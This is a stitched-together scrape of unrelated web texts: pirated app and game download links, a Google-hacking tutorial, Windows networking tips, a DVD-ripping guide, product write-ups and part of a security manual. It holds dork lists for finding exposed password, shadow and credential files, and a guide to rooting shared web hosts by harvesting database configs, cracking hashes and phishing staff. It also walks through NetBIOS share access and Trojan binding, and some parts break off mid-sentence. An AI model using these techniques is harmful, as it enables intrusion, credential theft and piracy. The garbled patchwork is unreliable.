http://www.4shared.com/file/19766093/f7
Resident_Evil_The_Mission
http://www.4shared.com/file/27154360
file lock
http://www.4shared.com/file/20262957/97
Bluetooth Messenger
http://www.4shared.com/file/24251960/83
Battery_Maintenance
http://www.4shared.com/file/26897852/91
Microsoft_Word
http://www.4shared.com/file/27537800/52
Microsoft_Mini Excel
http://www.4shared.com/file/27537802/bc
Windows_Media_Player
http://www.4shared.com/file/21366248/f0
Mobile Pdf
http://www.4shared.com/file/21802848/97
mToolbox_FULL_VERSION
http://www.4shared.com/file/11206404/53
Mobile_Google_Earth
http://www.4shared.com/file/23394833/9a
BT_Info
http://www.4shared.com/file/14267620/fb
Compass
http://www.4shared.com/file/22781618/2c
MobiLuck_Bluetooth_Messenger
http://www.4shared.com/file/14630732/38
Orkut
http://www.4shared.com/file/23108851/28
Advanced_English_Dictionary
http://www.4shared.com/file/16412190/22
Battery_Maintenance
http://www.4shared.com/file/18396616/f4
http://www.4shared.com/file/26585062/9f
http://www.4shared.com/file/21658940/51
source
www.getjar.com
Assassins Creed [ now playing this gr8 game]
http://www.4shared.com/file/26881809/63
Racing Game's
Turbo Jetski 3D
http://www.4shared.com/file/22858566/dc
Asphalt Street Rules 3 3D
http://www.4shared.com/file/18545487/6d
EA NEED FOR SPEED CARBON
http://www.4shared.com/file/21692506/2b
Super Taxi Driver
http://www.4shared.com/file/21617296/f8
V-Rally 3D[multi player can with bluetooth with sony phone]
http://www.4shared.com/file/22220369/9e
Need For Speed Pro-Street
http://www.4shared.com/file/26881699/b8
Burnout 2D
http://www.4shared.com/file/22333077/86Some SE themes
http://www.4shared.com/file/36570049/43
http://www.4shared.com/file/36570129/14
http://www.4shared.com/file/36570196/67
http://www.4shared.com/file/36570288/9b
http://www.4shared.com/file/36570433/eb
http://www.4shared.com/file/36570445/4d
http://www.4shared.com/file/36570721/1e
Before we begin, I strongly recommend reading through http://www-db.stanford.edu/~backrub/google.html
#This article will help you understand the inner workings of a search engine (if you're not already ereet)
#I added a copy of this article to the end of this text, so just scroll down a little ways :)
What is this tutorial about?
-It's about using google to get the information you need, fast
Why should I read it?
-Because at the end of this tutorial, you'll be able to use google to find WHATEVER you need!
Why are you writing it?
-Because all of the ereet programmers at irc.smart-dev.com/irc.zoite.net are tired of people asking us questions,
when they could just ask lord google
Do I need to gather any tools for this tutorial?
-A web browser (i.e. lynx, mozilla), and confidence in the fact that you aren't inept
Now the 'tutorial'
Google is the shit. You can find virtually ANYTHING you want with it. "©2003 Google - Searching 3,083,324,652 web
pages" as of Sunday, February 16, 2003! I use google for pretty much anything. Any question you have can be answered
90% of the time in the first 20 results, if you search properly. In the next few sections I will be going over some
basic/advanced/UBER COOL techniques for searching.
I.Getting started
-Open your web browser, and goto www.google.com (if it isn't your homepage, which it should be!)
-Now, click on preferences- Most of this should be fine preset, but make sure you fill in the "do not filter my
search results," and select 100 results per page from the drop down menu, then fill in the last bubble (if thats
your thing). Click save preferences (note: they will only be saved if you have cookies enabled).
-Now that you have everything set up, let's see everything google has to offer (because google has a slew of useful
tools). First theres the web search, which is the topic of this article. After that theres the image search, which
is pretty useful if you want to find a picture of someone you know (I will go into detail later on), or if you just
wannt to find some free porn! Sicko. Next up: Groups. I LOVE this feature! You can search year, and years, and years,
of posts on USENET discussion boards. I have gotten SO much valuable information (mostly stuff to help me crack my
target) just by using this feature. I will also go indepth on this feature as well. Next to last: Directory searching.
This is pretty useful if you want to find information on a TOPIC. For instance if you wanted to do a biology project
on genetic disorders you would use this. Last up: News. This is a fairly new feature, added a few months ago. It
tells you how recent articles are (by the hour, pretty cool!). You can look at world news on World, U.S., buisness,
Science/Tech, Sports, Entertainment, and Health.
II.Google for Web searches
(BASIC)
-Well, you've got a broad sense of what google does, so lets get right into the specifics! I can hardly wait!
A. Deciding on keywords
-Try specific keywords first (i.e. search for elephant as opposed to animals)
-Make searches as specific as you can.
-Keep searches as specific as you can!
+Note: The more specific you want your search to be, the more words you need, and you'll get less results
(this can be a bad or good thing)
B. How it works
-When you search for hacker tutorials, google interprets it as hacker AND tutorials, so it returns only pages
with all of the keywords you entered by default
-When you search for tutorials for hackers, the word for is omitted, as are all other words like if, a, who,
what, when, where, and how. If you need to include a common word in your search phrase use a '+' before the
common word. Your search is now tutorials +for hackers.
+note: google is not case sensitive
+note: google does not use wildcards (searching for googl* will not return google)
(ADVANCED)
A. ""'s
-Using quotations is probably the most important part of an advanced search. You can really control the
results of your search using quotes. When you use quotes, all of your results will contain the exact phrase.
So if you were to search "Tutorial for hacking" Google would search 3,083,324,652 web sites for that exact
phrase.
-You can put part of your search in quotes, and the other a regular search. For instance, if I wanted to find
out what pages my friend that just happens to be a girl is on the internet, I would search "Firstname
Lastname" Thomas Dale. This would search for the exact phrase "her name" and then it would search for any
pages that contained the words Thomas Dale(Thomas Dale is my highschool).
+Find me! My name is alejandro(alex), and i'm part of the smart-dev community ;)
B. "-"'s
-Using '-' to omit results. Perhaps you're searching for a new type of password file, for a new webserver.
The password file is called passwerd.db, but when you do a simple in title search(just keep reading, you'll
understand later) all you get is a bunch of results that turn out to be a config file that has syntax
referring to passwerd.db. Lets say this config file is named config(go figure). Omit this from your search
simply by searching searchstring -config and viola you get a list of sites that display passwerd.db to the
public! You can also use the boolean term NOT.
(HACKING/CRACKING)
Yay! This is why I wrote this article!
INTRO TO HACKING/CRACKIGN WITH GOOGLE
-Many of you probably already know this, but you can hack/crack with google. I use it in 100% of the
hacks/cracks I perform. You can use google to help you hack/crack in a few different ways. I will discuss
these in the sections below ("no shit!")
A. intitle:
-This is a built in function in google that searches for your phrase in the title of a web page. The
title of a webpage is in the upper left of your current window. (you should see google.txt if someone
hasnt changed the name). This is useful if you want to find something VERY specific.
-examples: intitle:"billing" intitle:"payments" intitle:"passwd"
B. Directory Indexing
-One GREAT trick is to find sites that allow directory indexing. This can be done by searching
intitle:"index of" phrase. Your mind should now be about to explode with the possibilities this could
hold. If it doesn't, that's ok, because if you look at the end of this article you'll see i've
provided you with an uber cool list! Here are some basic phrases you can use: intitle:"index of"
"passwd" OR "passwd.txt" OR "AutismIsSoCool!". This searches for files named passwd or if that isnt
found, searches for passwd.txt or if that isnt found searches for AutismIsCool! Think original, and
you can come up with the coolest stuff! I'm not just talking about passwords... I'm talking about
warez, passwords, and even credit card numbers!!! (although to be honest it's not easy ;))
C. allinurl:
-Guess what this does! Basically I use this when I want to find a piece of software. When i'm at school we
have some stupid web site filter, that doesn't allow me to download AIM (AOL instant messenger uhhh tm) so
basically I just do a search for allinurl:"aim.exe" and I get to take my pick! This can also be used for
passwd, passwd.txt, and so on
D. Cache
-Perhaps you have been searching for intitle:"index of" etc/shadow, and you see what looks like a valid
shadow file in your results list, but you cant access it, because you arent root, or whatever. Well thanks to
google cache, it may be possible for you to view this file. Just click the little chached link under the
result!
+note: this doesnt work 100% of the time
E. Collecting info on your target
-You can use google to find all sorts of juicy information about your target. For instance, if you wanted to
know what @target.com addresses were on the site, just search "@target.com" site:www.target.com. You should
get a nice list of email addresses. (these can double as usernames for other things besides emails)
-GOOGLE GROUPS is a great way to get info on a target. Just click the groups tab and search for @target.com,
and you will see everything anyone from your target has EVER posted on a usenet board! This is a real good
one!
THATS IT! THAT'S THE WHOLE TUTORIAL!
Summary: Well I hope you learned something from this article. Wether you were a complete noob, an advanced internet user,
or an ereet hacker, I tried to teach you all something. Remember- don't ever give up after only a few minutes of
searching... You'll get the right combination of keywords sooner or later. Just try to imagine what words you would use
for the item you are trying to find ;). Now GO! I officialy deem you "Google lord!"
(APPENDIX A)
-This is a list of all the cool searches I've found over the years
-PLEASE add to it! add your searches, and put the date you added it next to the search, then upload it somewhere
allinurl: winnt/system32/ (get cmd.exe)
intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
intitle:"index of" members OR accounts
intitle:"index of" user_carts OR user_cart **GOOD ONE!
-and hey! wouldnt you know it! someone has already taken care of the rest of this appendix for me! Thanks Johnny!
/*/*/*The following list was taken from johnny.ihackstuff.com*\*\*\
_vti_inf.html
service.pwd
users.pwd
authors.pwd
administrators.pwd
shtml.dll
shtml.exe
fpcount.exe
default.asp
showcode.asp
sendmail.cfm
getFile.cfm
imagemap.exe
test.bat
msadcs.dll
htimage.exe
counter.exe
browser.inc
hello.bat
default.asp\\
dvwssr.dll
cart32.exe
add.exe
index.jsp
SessionServlet
shtml.dll
index.cfm
page.cfm
shtml.exe
web_store.cgi
shop.cgi
upload.asp
default.asp
pbserver.dll
phf
test-cgi
finger
Count.cgi
jj
php.cgi
php
nph-test-cgi
handler
webdist.cgi
webgais
websendmail
faxsurvey
htmlscript
perl.exe
wwwboard.pl
www-sql
view-source
campas
aglimpse
glimpse
man.sh
AT-admin.cgi
AT-generate.cgi
filemail.pl
maillist.pl
info2www
files.pl
bnbform.cgi
survey.cgi
classifieds.cgi
wrap
cgiwrap
edit.pl
perl
names.nsf
webgais
dumpenv.pl
test.cgi
submit.cgi
guestbook.cgi
guestbook.pl
cachemgr.cgi
responder.cgi
perlshop.cgi
query
w3-msql
plusmail
htsearch
infosrch.cgi
publisher
ultraboard.cgi
db.cgi
formmail.cgi
allmanage.pl
ssi
adpassword.txt
redirect.cgi
cvsweb.cgi
login.jsp
dbconnect.inc
admin
htgrep
wais.pl
amadmin.pl
subscribe.pl
news.cgi
auctionweaver.pl
.htpasswd
acid_main.php
access.log
log.htm
log.html
log.txt
logfile
logfile.htm
logfile.html
logfile.txt
logger.html
stat.htm
stats.htm
stats.html
stats.txt
webaccess.htm
wwwstats.html
source.asp
perl
mailto.cgi
YaBB.pl
mailform.pl
cached_feed.cgi
global.cgi
Search.pl
build.cgi
common.php
show
global.inc
ad.cgi
WSFTP.LOG
index.html~
index.php~
index.html.bak
index.php.bak
print.cgi
register.cgi
webdriver
bbs_forum.cgi
mysql.class
sendmail.inc
CrazyWWWBoard.cgi
search.pl
way-board.cgi
webpage.cgi
pwd.dat
adcycle
post-query
help.cgi
To see the ip all computers you are connected to (web servers, people attempting to hack into your computer).
Go to dos (start>run>type command) and run the netstat command. Type netstat /? for details.
Type netstat -r at the command prompt to see the ip of all computers you are connected to
In MSN (and other programs) when you are chatting to someone everything you type goes through the MSN servers first (they act as a proxy) so you see their ip rather than who you are chatting to. You can get round this by sending them a file as MSN doesn't send file through its proxy.
When you type the netstat -r (or -a for a different view) the ip's are under the foreign address table. The ports are separated by a : . Different programs use different ports, so you can work out which ip's are from which program.
Connecting to other computers and what ports are:--
Servers send information. Clients retrieve. Simple.
Windows comes with a built in program to connect to other computers called telnet.
To start Windows telnet Start menu> Run> type Telnet. Click connect> remote system
Ports are doors into computers. Hosts are computer names
(ip number or a name that is translated into the ip automatically)
Different programs open different ports, but they always open the same ports so other computers know which port to connect to. You can get a port list listing all the different ports, but a basic one is:
11 :- Sends info on the computer
21 :- FTP (File transfer program)
23 :- Telnet (Login to the computers command line)
25 :- Smtp (Sends mail)
80 :- Http (Web pages)
There are thousands of different programs using different ports. You can get programs called port scanners which check a computer for all ports up to a certain number, looking for ways in. You can port scan a computer looking for ways-in.
Anyway, back to telnet.
Type http://www.yahoo.com as the host and port as 80 the click connect.
If nothing happens, you're in. Wow. You are connected to Yahoo's server.
You can now type http commands (you are connected to an http server, so it supports http commands). Ie. on an ftp server you can type open and it will do something. On an http server it will just wonder what the hell you are on about.
Type get / http/1.0 then press enter twice to get the file on the server at / (try /index.html) etc.)
Allowing dos and regedit in a restricted Windows
See http://blacksun.box.sk/tutorials/format....ndows.html for some very cool tactics.
A very simple tactic I found after accidentally locking myself out of dos and regedit is to open notepad and type the following:
REGEDIT4
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldApp]
"Disabled"=dword:0
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem]
"DisableRegistryTools"=dword:0
Save it as something.reg then run it. Simple.
Making non deletable, unreadable folders
Tested on Windows 95/98
By holding down alt, then typing numbers on the number pad (right of the keyboard) you can create special characters. If you hold down alt, then press 1, then let go, you got the ascii character 1. You try some random numbers. This goes all the way up to 255. Open a dos prompt, and type md (alt+1+9+4)some word. md is the dos command to make a directory, now try and open the directory in Windows, you can't. To open it, type ren (alt+1+9+4)some word some word (ren is the dos command to rename)
Proxies
Proxies are computers that you connect through, hiding your computer. Most aren't anonymous, they give away your ip. Some are. Good anonymous proxies: mail.uraltelecom.ru:8080 and 194.247.87.4:8080.
Different programs require different ways of using proxies. To do it in internet explorer 5 go to tools, internet options, connections, settings. In the above proxies they are in the format host:port
Password files
If you lock yourself out of Windows stuff, all passwords are stored in files called *.pwl in C:windows. In Unix, passwords are normally stored at etc/passwd. This can be viewed using the cat command (prints a file to screen): cat etc/passwd. Make sure you're passwords are shadowed (not actually in etc/passwd). Also make sure they aren't in a file called shadow, especially not in a file called etc/shadow.
Unix passwords are encrypted far better than Windows one's (to be fair, Windows 95 isn't designed for users), but can still be cracked through a program called jon.
Securing your website
Ftp Ftp is how you upload your web site, if someone finds out the password they can add/ delete anything. Brute forcing is the most common ftp attack, where a program guesses every possible combination (or from a list of words). An eight letter alpha-numeric word is almost impossible to crack, as the process is slow.
The real problem is with server side scripting. Pages other than plain html (ie. pages that perform commands on the host) are a security risk. The main problems are scripts that write to pages (guest books etc.). If when the guest book is viewed it has a .shtml extension, then it can execute commands. Eg. a malicious visitor could place
Everything happens for a reason, If you didn't make the decisions you made then. You wouldn't be who you are today.
Always Remember...
No Regrets!
The highest access you can gain on any *nix based operating system is
root. On this account you can do many things that you cant with any
other account! In this tutorial i will explain how to gain access to
this account by just using your eyes.
The biggest weakness in any system is the stupid bugger that is running
it. They are prone to write things down that they should not, use the
same password for everything and configure things wrong.
So keeping that in mind lets look around the server.
You are looking for things such as mysql connection scripts. These are named things like config.php , configure.php , db.php and db_connect.php. Look at these and they will usualy have the connection details to that users mysql account!
If this is a hosting company you are not really that interested
in the many users that only have minimal permissions over there own
sites you are interested in the webhosts site.
So execure the comand “cat /etc/passwd” (without the quotes) and then look for an entry with normally the first eight letters of the hosting company’s domain. then with your shell navigate to there directory. Then go to there site and
have a look around. There will most probably be an automatic account
creation script or controlpanel login script on there main site.
You will need to make note of the directory that the script is in and then
go back to your shell. Now navigate to the directory and look for files
that may contain details to the hosting database. If the server owner is
as stupid as they come this will be the connection details for root
mysql which means you have control over all databases on the server if
not you can just connect to the the accounts database.
If the server owner is stupid the passwords will be stored in plain text. This means
that you have access to all accounts on the server! Now on with the
rooting, we need to find the admin’s password if it is stored in the
database with the accounts in that is us done just login through the
control panel and you got root cp on the server.
There are different approaches if the host is not setup like this! Most
hosts have support forums these days and all main
stream forums software saves the database password in plain text so we
can be sure we will be able to connect to that. If they are using phpbb
which many are hashes are unsalted which means you can use any regular
md5 cracker to gain the plain text of the hash.
Now download putty if you are on windows or if you are in linux use ssh -l root and try the password that he uses on the forums. If you can’t crack it or it is not he same next we have to look arround again. Most hosts like to backup
there stuff so that if things go wrong they can restore what they have.
Well to do this scripts need passwords so look for mysql and ftp backup
scripts and test the passwords they contain.
If all this fails you have one last ace in your hand. Social enjiering! This can be done many ways and I am not going to explain it now but all im going to say is that in your travels arrount his server you should have gained alot of
information about him so try out different things such as emailing other
members of the team from a fake mailer saying that he is going away and
and needs the password to his account on the control panel sent to his
private email address and so on.
I would tell you about local root exploitation but then that would not be using
your eyes would it!
If all this fails go look for another server!
Step #1: Firstly u need to find out your main VOB files that contains the movie only. Do not select any other Menu/Extra VOB files. Highlight the main movie Vobs and click Open.
Reduced: 68% of original size [ 898 x 411 ] - Click to view full image
Step #2: After selecting ur Vobs, click on options and then click on video options:
Step #3: Make sure u *Uncheck* Hyper Scale and choose Scale By Pixels and set ur Resolution to 640x272. For video codec settings, choose XVID Hybrid (One Pass). Make ur screen looks exactly like this screenshot and hit OK:
Step #4: Click on Options again and choose Audio Options:
Step #5: Now this can be tricky, so pay attention. If you do not want to change any settings then simply make sure on Lame Min Bitrate is set to 128Kbps or below. But if u want to change ur Audio container to MP3, then *Uncheck* Use Lame To Encode: and click on Select Audio Codec Defaults and look for MPEG Layer-3.
Step #6: Now go to Options and choose Output Size Option:
Step #7: Make sure ur screen looks exactly like this Screenshot, however if u want a 2CDRip the on Target Size put the value of: 1400 MB:
Step #8: Go to Options and pick: Select Source Range:
Step #9: This is a very important step, so do not screw this up. This screen works just like a Video Splitter but only it's main purpose is to select start to end positions of ur rip. So first click on the 1st bracket and then drag the point all the way to the end and click on the 2nd bracket. Now click Done:
Reduced: 84% of original size [ 728 x 594 ] - Click to view full image
Step #10: Click on Start Encoding. Grab a cup of Coffee/Tea and wait patiently while it encodes for you:
You can check your Statistics anytime you like, it will show you the time remaining and the current % progress:
Remember this Software can be quite useful for professional rippers as well in many ways. So do not think that this is just for starters because there are many things you can do with this encoder.
Enjoy & Have Fun
You can download the Vidomi Encoder on these links, it's a Freeware:
Or
http://rapidshare.com/files/12353967/vidomiinstaller.469.exe.html
Sometimes when you recover a deleted picture, you’ll find that, even though it’s been 100% recovered, it has been damaged or corrupted, so you can’t view it. This can be very annoying, and it’s happened to me before. When it happens, the corrupted pictures taunt you, with their blank background, and only a few small words that read: ‘No Preview Avaliable’.
Please note that repairing a corrupted or damaged image is completely different from recovering a deleted image.
no-preview-available
Files can become corrupted if they happen to be stored on a hard drive that has bad sectors. Even if you run ScanDisk to fix the bad sectors, the image may still be corrupted and not viewable.
After vigorously browsing the Internet, I only found a few random methods on how to repair corrupted pictures.
The one program I found that worked was PixRecovery. It’s a data recovery program for corrupted or damaged files, which was exactly what I needed. It supports multiple file type, including all the big one’s like .JPEG and .GIF.
pixrecovery-repair-images
Using it was a breeze. Simply run the program, pick the file you wish to recover, and click ‘Recover‘. Done. In under 60 seconds, you should have a recovered file, which is a lot quicker than some of the other methods that popped up on Google. And there it is! Your file all nice and repaired.
The program also has a very clean and neat GUI interface without any bell and whistle useless features. It simply recovers files and that’s it.
The only thing I dislike about this program is the INSANE pricing of the program - It’s $149! And that’s just for a single user license. I think it’s because they’re the one of the few guys out there who have a program to repair corrupted image files which actually works.
So instead, I just used the Demo to recover as much as I could with it’s limited capabilities. To get the demo, simply go here:
http://www.officerecovery.com/downloads.htm
The program works fine in demo mode, but puts a watermark onto the image. It’s really handy, especially by getting all those memories again. But, the pricing is just too high for me to even consider buying the program. If you can live with the watermark, then use the demo or if your pictures are that important and a free program is not working, the $150 might be worth it.
What is MailTracking?
MailTracking is the most powerful and reliable email tracking service that exists today. In short - MailTracking tells you when email you sent gets read / re-opened / forwarded and so much more
How do I send a tracked email? There are two ways you can send tracked emails:
- Simply add: .mailtracking.com to the end of your recipients email address (they won’t see this)
or - Install the ActiveTracker plugin to add the tracking for you.
Testing? If you send tracked emails to yourself, your anti-spam filters may block them (people don’t usually write to themselves) - so we recommend you test by sending to other people.
What will you tell me about the tracked emails I send? MailTracking will endeavour to provide the following in your tracking reports:
- Date and time opened
- Location of recipient (per their ISP city /town)
- Map of location (available on paid subscriptions)
- Recipients IP address
- Apparent email address of opening (if available)
- Referrer details (ie; if accessed via web mail etc)
- URL clicks
- How long the email was read for
- How many times your email was opened
- If your email was forwarded, or opened on a different computer
All messages sent via MailTracking benefit from the SPF compliant and Sender-ID compliant mail servers. This confirms safe transmission of your messages, and also enables us to report delivery status to you (including: bounce-backs, delays and success notifications). Delivery information is listed in your Personal Tracking Page. Note: MailTracking.com does not use or contain any spy-ware, mal-ware, nor virues, it is not illegal to use, and does not breach any privacy regulations in any countries.
What else does MailTracking do?
There are lots of great features available to you - these include the following sending options:
- Certified email
- Ensured-Receipts and retractable emails
- Invisible tracking
- Self-Destructing emails
- Block printing
- Block forwarding
- Adobe Acrobat PDF Document Tracking
- Secure Encypted emails
- Track MS Word or Excel documents
You can also choose how to receive your receipts:
- In your Personal Tracking Page (when you log in)
- Email ReadNotifications
- Legal Proof-of-Opening receipts
- Delivery Service Notifications (DSN’s)
- SMS alert on your cell-phone or pager
- Instant Messenger
Click Here to Register.
By taking interest in your privacy and safety, you have proven
yourself to be above the rest. You can never have enough
information. Information is power and the more informed you as
a user become the less likely you are to fall prey to the sharks of
the Internet.
In this manual, I will cover with you things that may scare you.
Some things may even make you paranoid about having a
computer. Don’t be discouraged though, as I will also tell you
how to protect yourself. The reasons for telling you the “dirt” if
you will is that I feel it important for you to know what is at risk.
I wrote this manual as a guide. To show you how hackers gain
access to your system using security flaws and programs. The
theory goes that if you are aware of what they are doing and how
they are doing it you’ll be in a much better position to protect
yourself from these attacks.
(Through out this manual you will see reference to the term
“Hacker.” This is a term I use very loosely for these individuals.)
These are just a few of the topics that will be covered:
• How “hackers” get into your system
• What tools they use
• How a hacker can effectively “Bug” your house via your
computer. (Don’t believe me, read on you’ll be very
surprised)
• What information they have access to. And why you
should try to protect yourself. (You might be surprised to
find out what they know.)
• Tips and tricks that hackers use
• How your Antivirus software alone is not enough
• What to look for if you suspect you’re being hacked
• What the greatest flaw to all computers are
• And more…
5
By no means am I going to make a ludicrous claim that this
manual will protect you from everything. What I will say is that
by reading this manual hopefully you will be in a better situation
to protect yourself from having your information compromised.
Did you know it doesn’t matter if you’re connected to the net
24hrs a day or 15 min’s a day your system is vulnerable. Not
only is it vulnerable in that 15 min’s you can possibly loose all
your data get locked out of your own system and have all your
confidential information like your “Bank Account Numbers”, “Your
Budget”, “Your personal home address” compromised.
Don’t give me wrong, I’m not trying to throw you into a state of
paranoia either. What I am saying is that if you’re not careful
you leave yourself open to a wide range of attacks.
Perhaps you’re skeptical and saying to yourself “Oh I don’t do
anything on the net except check my E-mail etc that sort of thing
can’t happen to me.”
Okay I like a challenge let’s do a test!
6
SYSTEM INTRUSION IN 15 SECONDS
System intrusion in 15 seconds, that’s right it can be done. If
you possess certain security flaws your system can be broken
into in less that 15 seconds.
To begin this chapter I’d like you to do the following. Connect to
the Internet using your dial up account if you are on dial up. If
you are on dedicated service like High Speed connections (ie,
Cable and DSL) then just proceed with the steps below.
• Click Start
• Go to Run
• Click Run (It’s a step by step manual) :-)
• Type Winipcfg
• Hit the Enter Key
Chapter 1
7
This should bring up a window that looks like the following
* For editorial reason the above info has been omitted *
What you should see under IP address is a number that looks
something like this.
207.175.1.1 (The number will be different.)
If you use Dial Up Internet Access then you will find your IP
address under PPP adapter. If you have dedicated access you
will find your IP address under another adapter name like (PCI
Busmaster, SMC Adapter, etc.) You can see a list by clicking
on the down arrow.
8
Once you have the IP address write it down, then close that
window by clicking (OK) and do the following.
• Click Start
• Go to Run (Click on Run)
• Type command then Click OK
At this point you should see a screen that looks like this.
Type the following at the Dos Prompt
• Nbtstat –A IP address
For example: nbtstat –A 207.175.1.1
(Please note that you must type the A in capitol letters.)
9
This will give you a read out that looks like this
NetBIOS Remote Machine Name Table
____________________________________
Name Type Status
-------------------------------------------
J-1 <00> UNIQUE Registered
WORK <00> GROUP Registered
J-1 <03> UNIQUE Registered
J-1 <20> UNIQUE Registered
WORK <1e> GROUP Registered
WORK <1d> UNIQUE Registered
__MSBROWSE__.<01>GROUP Registered
(Again info has been omitted due to privacy reasons)
The numbers in the <> are hex code values. What we are
interested in is the “Hex Code” number of <20>. If you do not
see a hex code of <20> in the list that’s a good thing. If you do
have a hex code <20> then you may have cause for concern.
Now you’re probably confused about this so I’ll explain.
A hex code of <20> means you have file and printer sharing
turned on. This is how a “hacker” would check to see if you
have “file and printer sharing” turned on. If he/she becomes
aware of the fact that you do have “file and printer sharing”
turned on then they would proceed to attempt to gain access to
your system.
(Note: To exit out of the DOS prompt Window, Type Exit
and hit Enter)
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I’ll show you now how that information can be used to gain
access to your system.
A potential hacker would do a scan on a range of IP address for
systems with “File and Printer Sharing” turned on. Once they
have encountered a system with sharing turned on the next step
would be to find out what is being shared.
This is how:
Net view \\
Our potential hacker would then get a response that looks
something like this.
Shared resources at \\ip_address
Sharename Type Comment
MY DOCUMENTS Disk
TEMP Disk
The command was completed successfully.
This shows the hacker that his potential victim has their My
Documents Folder shared and their Temp directory shared. For
the hacker to then get access to those folders his next command
will be.
Net use x: \\
If all goes well for the hacker, he/she will then get a response of
(The command was completed successfully.)
At this point the hacker now has access to the TEMP directory of
his victim.
Q. The approximate time it takes for the average hacker to do
this attack?
R. 15 seconds or less.
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Not a lot of time to gain access to your machine is it? How many
of you had “File and Printer Sharing” turned on?
Ladies and Gentlemen: This is called a Netbios attack. If you are
running a home network then the chances are you have file and
printer sharing turned on. This may not be the case for all of you
but I’m sure there is quite a number of you who probably do. If
you are sharing resources please password protect the
directories.
Any shared directory you have on your system within your
network will have a hand holding the folder. Which looks like
this.
You can check to find which folders are shared through Windows
Explorer.
• Click On Start
• Scroll Up to Programs
At this point you will see a listing of all the different programs on
your system
Find Windows Explorer and look for any folders that look like the
above picture.
Once you have found those folders password protect them. Don’t
worry I’ll show you how to accomplish this in Chapter 8 in a
visual step by step instruction format.
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Netbios is one of the older forms of system attacks that occur. It
is usually overlooked because most systems are protected
against it. Recently there has been an increase of Netbios
Attacks.
Further on in this manual we shall cover some prevention
methods. For now I wish only to show you the potential security
flaws.
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THE TROJAN “HORSE”
I found it necessary to devote a chapter to Trojans. Trojan’s are
probably the most compromising of all types of attacks. Trojans
are being released by the hundreds every week, each more
cleverly designed that the other. We all know the story of the
Trojan horse probably the greatest strategic move ever made.
In my studies I have found that Trojans are primarily responsible
for almost all Windows Based machines being compromised.
For those of you who do not know what Trojans are I’ll briefly
explain. Trojans are small programs that effectively give
“hackers” remote control over your entire Computer.
Chapter 2
1 4
Some common features with Trojans are as follows:
• Open your CD-Rom drive
• Capture a screenshot of your computer
• Record your key strokes and send them to the “Hacker”
• Full Access to all your drives and files
• Ability to use your computer as a bridge to do other
hacking related activities.
• Disable your keyboard
• Disable your mouse…and more!
Let’s take a closer look at a couple of more popular
Trojans:
• Netbus
• SubSeven
The Netbus Trojan has two parts to it as almost all Trojans do.
There is a Client and a Server. The server is the file that
would have to get installed on your system in order to have
your system compromised. Here’s how the hack would go.
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The Hack
Objective: Getting the potential victim to install the server
onto his/her system.
Method 1
Send the server file (for explanation purposes we’ll call the file
netbusserver.exe) to you via E-Mail. This was how it was
originally done.
The hacker would claim the file to be a game of some sort.
When you then double click on the file, the result is nothing.
You don’t see anything. (Very Suspicious)
Note: (How many times have you double clicked on a
file someone has sent you and it apparently did
nothing)
At this point what has happened is the server has now been
installed on your system. All the “hacker” has to do is use the
Netbus Client to connect to your system and everything you
have on your system is now accessible to this “hacker.”
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With increasing awareness of the use of Trojans, “hackers”
became smarter, hence method 2.
Method 2
Objective: Getting you to install the server on your system.
Let’s see, how many of you receive games from friends?
Games like hit gates in the face with a pie. Perhaps the game
shoot Saddam? There are lots of funny little files like that.
Now I’ll show you how someone intent on getting access to
your computer can use that against you.
There are utility programs available that can combine the
(“server” (a.k.a. Trojan)) file with a legitimate “executable
file.” (An executable file is any file ending in .exe). It will
then output another (.exe) file of some kind. Think of this
process as mixing poison in a drink.
For Example:
Tomato Juice + Poison = something
Now the result is not really Tomato Juice anymore but you can
call it whatever you want. Same procedure goes for
combining the Trojan with another file.
For Example:
The “Hacker” in question would do this: (for demonstration
purposes we’ll use a chess game)
Name: chess.exe (name of file that starts the chess
game)
Trojan: netbusserver.exe (The Trojan)
(Again for explanation purposes we’ll call it that)
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The joiner utility will combine the two files together and output
1 executable file called:
This file can then be renamed back to chess.exe. It’s not
exactly the same Chess Game. It’s like the Tomato Juice, it’s
just slightly different.
The difference in these files will be noticed in their size.
The original file: chess.exe size: 50,000 bytes
The new file (with Trojan): chess.exe size: 65,000 bytes
(Note: These numbers and figures are just for explanation
purposes only)
The process of joining the two files, takes about 10 seconds to
get done. Now the “hacker” has a new chess file to send out
with the Trojan in it.
Q. What happens when you click on the new chess.exe file?
Answer: The chess program starts like normal. No more
suspicion because the file did something. The only difference
is while the chess program starts the Trojan also gets installed
on your system.
Now you receive an email with the attachment except in the
format of chess.exe.
The unsuspecting will execute the file and see a chess game.
Meanwhile in the background the “Trojan” gets silently
installed on your computer.
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If that’s not scary enough, after the Trojan installs itself on
your computer, it will then send a message from your
computer to the hacker telling him the following information.
Username: (A name they call you)
IP Address: (Your IP address)
Online: (Your victim is online)
So it doesn’t matter if you are on dial up. The potential
hacker will automatically be notified when you log on to your
computer.
You’re probably asking yourself “how likely is it that this has
happened to me?” Well think about this. Take into
consideration the second chapter of this manual. Used in
conjunction with the above mentioned methods can make for
a deadly combination.
These methods are just but a few ways that “hackers” can
gain access to your machine.
Listed below are some other ways they can get the infected
file to you.
News Groups:
By posting articles in newsgroups with file attachments like
(mypic.exe) in adult newsgroups are almost guaranteed to
have someone fall victim.
Don’t be fooled though, as these folks will post these files to
any newsgroups.
Grapevine:
Unfortunately there is no way to control this effect. You
receive the file from a friend who received it from a friend etc.
etc.
1 9
Email:
The most widely used delivery method. It can be sent as an
attachment in an email addressed to you.
Unsafe Web sites:
Web sites that are not “above the table” so to speak. Files
downloaded from such places should always be accepted with
high suspicion.
IRC:
On IRC servers sometimes when you join a channel you will
automatically get sent a file like “mypic.exe” or “sexy.exe” or
sexy.jpg.vbs something to that effect. Usually you’ll find
wannabe’s are at fault for this.
Chat Sites:
Chat sites are probably one of the primary places that this sort
of activity takes place. The sad part to that is 80% are not
aware of it.
As you can see there are many different ways to deliver that
file to you as a user. By informing you of these methods I
hope I have made you more aware of the potential dangers
around you. In Chapter 3 we’ll discuss what files should be
considered acceptable.
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ACCEPTABLE FILES
From the last chapter you’re probably asking yourself what
exactly is safe to accept as a file from anyone. Hopefully I’ll
answer most if not all your questions about what types of files
can be considered safe or more to the point normal.
